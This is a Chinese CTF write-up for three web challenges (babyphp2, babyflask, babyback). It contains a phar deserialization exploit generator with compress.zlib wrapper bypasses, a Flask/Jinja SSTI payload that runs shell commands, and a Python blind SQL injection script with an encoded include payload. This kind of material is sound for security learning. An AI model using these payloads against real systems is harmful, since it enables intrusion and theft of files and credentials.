知识点
-
babyphp2
phar反序列化+compress.zlib绕过
-
babyflask
flask ssti
-
babyback
单引号逃逸盲注+代码注入
babyphp2
www.zip源码泄露
classes.php
<?php
error_reporting(0);
session_start();
class User
{
public $id;
public $age=null;
public $nickname=null;
public $backup;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login();
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='upload.php'</script>";
}
}
}
public function upload(){
$uploader=new Upload();
$uploader->upload();
}
public function read(){
$reader=new reader();
$reader->read($_POST['filename']);
}
public function __toString()
{
$this->nickname->backup=$this->backup;
$user = new User();
$user->id = $_SESSION['id'];
$user->nickname = $_SESSION['token'];
return serialize($user);
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="p3rh4ps";
public $dbpass="p3rh4ps";
public $database="p3rh4ps";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
}
public function login()
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$sql="select id,password from users where username=?";
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function __destruct(){
echo $this->token;
}
}
Class Upload{
public $flag;
public $file;
public $ext;
function __construct(){
$this->flag = 1;
$this->black_list = ['ph', 'ht', 'sh', 'pe', 'j', '=', 'co', '\\', '"', '\''];
}
function check(){
$ext = substr($_FILES['file']['name'], strpos($_FILES['file']['name'], '.'));
$reg=implode("|",$this->black_list);
$reg = "/" . $reg . "\x|\s|[\x01-\x20]/i";
if(preg_match($reg, $ext)){
$this->flag = 0;
}
$this->ext = $ext;
}
function __wakeup(){
$this->flag = 1;
}
function upload(){
$this->file = $_FILES['file'];
$this->check();
if($this->flag){
if(isset($_FILES['file'])){
if ($_FILES["file"]["error"] > 0){
echo "Error: " . $_FILES["file"]["error"];
}
else{
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. ";
}
else{
if ($_FILES["file"]["size"] > 10240){
echo "too big";
}
else{
$new_addr = $_SERVER['DOCUMENT_ROOT'] . "/upload/" . md5($_FILES['file']['name']) . $this->ext;
echo $new_addr;
move_uploaded_file($_FILES["file"]["tmp_name"], $new_addr);
return $new_addr;
}
}
}
}
}
else{
die("Noooooooooooooooooooooooooooo!");
}
}
}
Class Reader{
public $filename;
public $result;
public function read($filename){
if (preg_match("/flag/i",$filename)){
die("想多了嗷");
}
if (preg_match("/sh/i",$filename)){
die("nooooooooooo!");
}
if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)){
die("Invid Schema!");
}
echo file_get_contents($filename);
}
public function __set($name,$val){
echo file_get_contents($val);
}
}
- 需要通过Reader类的
__set()
魔术方法中的file_get_contents()
触发phar反序列化 - 要触发
__set()
方法,需要给一个未定义的属性赋值,也就是__toString()
中的$this->nickname->backup=$this->backup;
- 要触发
__toString()
方法,需要把类当作字符串处理,也就是__destruct()
中的echo $this->token;
POC
<?php
class User
{
public $nickname;
public $backup;
}
class dbCtrl
{
public $token;
}
Class Reader{
}
@unlink("exp.phar");
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$r = new Reader();
$u = new User();
$u -> nickname = $r;
$u -> backup = "/flag";
$o = new dbCtrl();
$o -> token = $u;
$phar->setMetadata($o);
$phar->addFromString("a", "a");
$phar->stopBuffering();
?>
生成好phar文件后,将后缀修改为gif上传,通过read.php触发phar文件
preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)
这里正则不能以phar协议开头,可以使用compress.bzip2://和compress.zlib://绕过
compress.bzip2://phar:///var/www/html/upload/f3035846cc279a1aff73b7c2c25367b9.gif/a
compress.zlib://phar:///var/www/html/upload/f3035846cc279a1aff73b7c2c25367b9.gif/a
babyflask
获取某个类
"".__class__
获取object基类
"".__class__.__mro__[1]
获取其所有子类
"".__class__.__mro__[1].__subclasses__()
查看可以读文件的方法
"".__class__.__mro__[1].__subclasses__()[1].__init__.__globals__
读取flag
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['__builtins__']['__import__']('os').popen('cat%20/flag').read()}}
babyback
fuzz一下关键字,下面这些是被ban了的
参考BJD 2nd的那道题
username=admin\ password=||2>1#
盲注脚本
import requests
import time
url = "http://eci-2ze91js64coessijkdik.cloudeci1.ichunqiu.com/index.php"
data = {}
password = ""
for i in range(1,100):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = '||(ascii(substr((password),%d,1))>%d)#' % (i,mid)
data={"username":"admin\\","password":payload}
r = requests.post(url,data=data)
if "用户名或密码错误" in r.text:
high = mid
else:
low = mid + 1
mid = (low+high)//2
if(mid == 32 or mid == 127):
break
password += chr(mid)
print(password)
得到密码为uAreRigHt
取反构造
include~%D0%99%93%9E%98?>